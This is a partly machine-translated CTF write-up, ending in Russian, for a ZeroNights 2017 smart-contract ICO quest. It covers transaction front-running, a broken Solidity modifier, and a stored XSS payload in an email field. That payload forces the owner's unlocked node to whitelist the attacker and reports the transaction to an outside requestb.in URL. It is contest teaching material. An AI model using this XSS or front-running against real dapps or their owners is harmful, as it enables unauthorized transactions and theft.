Analysis of the quest Digital Security ICO


    Before the annual ZeroNights 2017 conference, in addition to Hackquest 2017 , we decided to organize another contest, namely, to conduct our ICO (Initial coin offering). But just not the way everyone used to see, but for hackers. And how could we understand that they are hackers ? They had to crack an ICO! I ask for details under cat.


    For a start - a legend.


    Digital Security ICO follows the whitelist ICO principle, i.e. only participants who were in the white list could invest. The selection of participants was carried out manually by the owners of the smart contract, based on the data that was provided - a link to a personal blog, twitter, nickname, etc. If necessary, it was necessary to confirm the identity. We also gave a chance to a random participant to get considered for his candidacy in a lottery order every five blocks. You can familiarize yourself with the terms and capabilities in more detail by reading the smart contract .

    The task of the project participants was as follows:


    Get more than 31337 HACK and send an invite request to ZeroNights.

    And so it looked like the part on which the applications in whitelist were displayed, the whitelist itself and the treasured button "which the owner should click on".



    Stage One. Filing an application


    If we analyze the provided links to etherscan.io, then the following smart-counter architecture emerges:


    • a contract that provides a HACK coin - a standard ERC20 token, nothing more than a couple of modifiers
    • ICO contract , which concentrated all the logic of selling tokens and lotteries.

    After reading the ICO, it becomes obvious that you just can’t submit an application for consideration to the owner:


        function proposal(string _email) public {
            // на счету у учасника должно быть более 1337 эфиров
            require(msg.sender.balance > 1337 ether && msg.sender != controller);
            desires[msg.sender].email = _email;
            desires[msg.sender].active = true;
            Proposal(msg.sender, _email);
        }

    Where to get so many ethers? The first thing that may come to mind is mine! The network is a test one, there should be few participants ... But no. The Rinkbey network uses the Proof-of-Authority consensus, so only selected nodes are mined and distribute the received broadcast to everyone. So one of the options was to create accounts on Twitter, Google+, github.com and collect the necessary amount of airtime. According to calculations, having a little more than a hundred accounts, it was possible to collect such an amount per day. If any of the participants reading the analysis resorted to such a decision, please unsubscribe in the comments, we are interested in your experience.


    Those who found this option boring could notice in the description (or contract) that there is a certain lottery that every five blocks provides an opportunity for anyone to apply. All that is needed is to guess the number that the lottery robot made .
    The smart contract function that the robot invoked looks like this:


    address public robotAddress;
        mapping (address => uint) private playerNumber;
        address[] public players;
        uint public lotteryBlock;
        event NewLotteryBet(address who);
        event NewLotteryRound(uint blockNumber);
        function spinLottery(uint number) public {
            if (msg.sender != robotAddress) {
                playerNumber[msg.sender] = number;
                players.push(msg.sender);
                NewLotteryBet(msg.sender);
            } else {
                require(block.number - lotteryBlock > 5);
                lotteryBlock = block.number;
                for (uint i = 0; i < players.length; i++) {
                    if (playerNumber[players[i]] == number) {
                        desires[players[i]].active = true;
                        desires[players[i]].email = "*Use changeEmail func to set your email.*";
                        Proposal(players[i], desires[players[i]].email);
                    }
                }
                delete players; // flushing round
                NewLotteryRound(lotteryBlock);
            }
        }

    It was assumed that the participants send their numbers within five blocks, and after that the robot sends the one that he made up. The smart contract was to check whether one of the players guessed correctly. If successful, the participant went to desires. It would seem that from the point of view of a smart contract there are no vulnerabilities: the robot closed the round with its transaction and peeked at what number was made up, it was possible only after the fact. But really not.


    The decision of the first stage


    In order to find out what number the robot made up, and - most importantly - send a transaction before it, it was necessary to understand how these transactions are processed by the network. In short:
    all new transactions first fall into the unconfirmed pool (common for all network participants), and miners, when forming the next block, collect transactions from there. But not in the order they were sent, but in descending order of commission and transaction number - gasPrice and nonce, respectively (in fact, the price of “gas” is only one of the components of the commission that the miner receives; the second is itself gas spent ).
    Thus, all that was needed was to look at the number that the robot sent while the transaction was still in the unconfirmed pool, and then send its own with the same number, but at a higher cost of "gas". Considering that finding a new block takes 12-30 seconds, the attacker had enough time to launch a Front-running attack. An exploit example can be studied here .


    (Lyrical digression) If any Internet provider with the ability to conduct BGP hijacking attacks, similar to those described here , participated in the competition , he could also manage the order of transactions.


    Stage Two. Press the button - you will get the result


    So, the application has been submitted. It remains only to wait until the owner puts me on the white list and I can buy the coveted HACK-coins . Sounds boring, doesn't it? Maybe there is a way to somehow get into the white list? We look in the contract:


    modifier onlyController { require(msg.sender == controller); _; }
    function addParticipant(address who) onlyController public {
            if (isDesirous(who) && who != controller) {
                whitelist[who] = true;
                delete desires[who];
                AddParticipant(who);
                RemoveProposal(who);
            }
        }

    To the function addParticipantthat is called when you click on the button of the same name in the web interface, a modifier is applied; onlyControllertherefore, to call it, you must sign the transaction with the private key of the address controller. Or, for lack of such, replace the owner himself? Studying the sources of one of the inherited contracts, - Controlled- you can see that the change of ownership through the function is provided changeController:


    contract Controlled {
        /// @notice The address of the controller is the only address that can call
        ///  a function with this modifier
        modifier onlyController { require(msg.sender == controller); _; }
        address public controller;
        bool isICOdeployed;
        function Controlled() public { controller = msg.sender; }
        /// @notice Changes the controller of the contract just once
        /// @param _newController The new controller of the contract (e.g. ICO contract)
        function changeController(address _newController) public onlyController {
            if (!isICOdeployed) {
                isICOdeployed = true;
                controller = _newController;
            } else revert();
        }
    }

    In fact, the function is relevant only for a HACK-coin smart contact (in order to change the controller from the developer's address to the address of the ICO contract during the deployment), but since the contract Controlledis useful and inherited by both contracts, it changeOwnerwill be for both. Are we trying? Failure :( The developer envisioned this and called the function immediately upon deployment with his own address.


    After all theories have been exhausted, it could really seem that the owner enters the participants with whitelist manually. But this, of course, is not so.


    Second stage solution


    To complete the second stage, it was necessary to conduct a blockchain stored XSS attack against the owner. A hint of this could be seen in the email change function:


    function changeEmail(string _email) public {
        require(desires[msg.sender].active);
        desires[msg.sender].email = _email;
        Proposal(msg.sender, _email);
    }

    Have you noticed? There are no checks on what is contained in the string _email. There are none of them mainly because it is expensive to do such checks (spent gas), and there are no built-in functions for working with strings. It turns out that the only protection barrier will most likely be implemented on the client side. Take a look at how email is added to the Statistic page:


    
    ...  
    

    Proposals

    {{ member.address }}
    ...

    Of course, the participants saw an already rendered version. But nothing stopped experimenting:


    1. The ABI data of the smart contract and its address were pulled up by the frontend with a separate request, so that you could use proxies like Burp Suite to replace them with your own.
    2. The source of the smart contract was on etherscan.io - you could deploy a private blockchain, deploy a smart contract there and experiment.

    From the point of view of competition, it is also important to come already with a working attack vector, since everyone can see the actions of rivals in the blockchain!


    Here is the first vector sent:


    the.last.triarius@gmail.com

    In most cases, the payload was pulled separately (and I didn’t even try to follow these links and see what was there), but here’s an author’s example:


    var xhr = new XMLHttpRequest();
    xhr.open('GET', '/static/contracts.json', false);
    xhr.send();
    var contracts = JSON.parse(xhr.responseText);
    var ico_addr = contracts.ICO_CONTRACT_ADDRESS;
    var ico_abi = contracts.ICO_CONTRACT_ABI;
    var ico = web3.eth.contract(ico_abi).at(ico_addr);
    var player_addr = '0xc24c2841b87694e546a093ac0da6565c8fdd1800';
    var tx = ico.addParticipant(player_addr, {from: web3.eth.coinbase})
    xhr.open('GET', 'https://requestb.in/1gz0iz11?tx='+tx, false);
    xhr.send();

    It is also worth noting that the attack was successful because the owner uses the geth client with an unlocked coinbase account. If some kind of wallet were used, then when the transaction was initiated, the user would see a window requiring confirmation of the transaction. However, do not assume that using a wallet will save you from all troubles. The attacker can still manage the data from which the transaction is formed (for example, replace the address chosen by the owner with his own).


    Stage Three. Test purchase


    Well, we're almost there. It's time to buy 31337 HACK-coins. We look at the purchase function:


    // смарт-контракт ICO 
    uint RATE = 2500;
    function buy() public payable {
        if (isWhitelisted(msg.sender)) {
             uint hacks = RATE * msg.value;
             require(hack.balanceOf(msg.sender) + hacks <= 1000 ether);
             hack.mint(hacks, msg.sender);
         }
     }

    It can be seen right away that a smart contract does not allow you to purchase more than 1000 HACK-coins, but you need more than 31337. However, it does not matter! Pay attention to how the buyer's balance is checked. Only the current balance is taken into account! The logical decision would be to simply transfer the coins somewhere else and buy again.


    The decision of the third stage


    We look at how to make a translation:


    modifier afterICO() {
        block.timestamp > November15_2017; _;
    }
    function transfer(address _to, uint256 _value) public afterICO returns (bool) {
        balances[msg.sender] = balances[msg.sender].sub(_value);
        balances[_to] = balances[_to].add(_value);
        Transfer(msg.sender, _to, _value);
        return true;
    }

    The function is for translation, but a modifier is given to it, which should limit the possibility of its call until the end of the ICO. However, in fact, the modifier does not perform its function regardless of the condition, since this condition itself still needs to be processed. Here is the correct option:


    modifier afterICO() {
        require(block.timestamp > November15_2017); _;
    }

    Таким образом, можно повторить операцию "покупка-вывод" 13 раз и накопить заветное количество токенов. Другой вариант — применить функцию transferFrom — процесс немного более сложный, но тоже рабочий.


    Бонусный этап. Off-chain transaction


    Этап бонусный, потому что не задумывался как этап вовсе, но многих заставил серьезно погуглить, и после прохождения прислать эмоциональный отзыв вместе с флагом (в рамках приличия, конечно же). Итак, подпись к форме на сайте гласит:


    … To get an entrance ticket, collect more than 31337 HACK Coins and send us a signed off-chain transaction with "HACK" as msg.data.

    Для передачи флага требовалось именно off-chain взаимодействие с участниками (то есть вне сети Ethereum). Поскольку приглашение можно было получить именно в обмен на флаг (секрет), а хранение секретов в блокчейне дело непростое — даже если зашифровать флаг, то как отдать правильному участнику ключ? Собственно, поэтому мы просили участника сгенерировать подписанную транзакцию с того адреса, на котором имеется нужное количество HACK-коинов и отправить ее на бекенд ico.dsec.ru, а не в сеть. Вот подробный пример, как можно сгенерировать подобную транзакцию.


    А вот код с бекенда, который обрабатывает эту байтовую последовательность
    var Tx = require('ethereumjs-tx');
    var unsign = require('@warren-bank/ethereumjs-tx-unsign');
    var util = require('ethereumjs-util');
    var Web3 = require('web3');
    var web3 = new Web3(new Web3.providers.HttpProvider('http://localhost:8545/'));
    const HaCoin_CONTRACT_ADDRESS = "0x9993ae26affd099e13124d8b98556e3215214e81";
    const abi_h = [{"constant":true,"inputs":[], ... ,"type":"event"}];
    var hack = web3.eth.contract(abi_h).at(HaCoin_CONTRACT_ADDRESS);
    router.post('/getInvite', function(req, res, next) {
        var transaction = new Tx(req.body.tx);
        if (transaction.verifySignature()) {
            var decodedTx = unsign(transaction.serialize().toString('hex'), true, true, true);
            var data = web3.toAscii(decodedTx.txData.data);
            var from = util.bufferToHex(transaction.from);
            if (data === hack.symbol() && web3.fromWei(hack.balanceOf(from), "ether") > 31337) {
                res.send({'success': true, 'email': 'ico@dsec.ru', 'code': 'l33t_ICO_haXor_Foy1YD042c!'});
            }
        } else {
            res.send({'success': false, 'error': 'Transaction is invalid.'});
        }
        res.send({'success': false, 'error': 'Transaction is invalid.'});
    });

    Вот и все. Спасибо всем, кто принял участие в ICO и наши поздравления победителям! Для тех, у кого проснулось желание пройти квест — он поработает еще пару дней :)


    Also many thanks to those people who took the time to ZeroNights and helped me.


    Also popular now: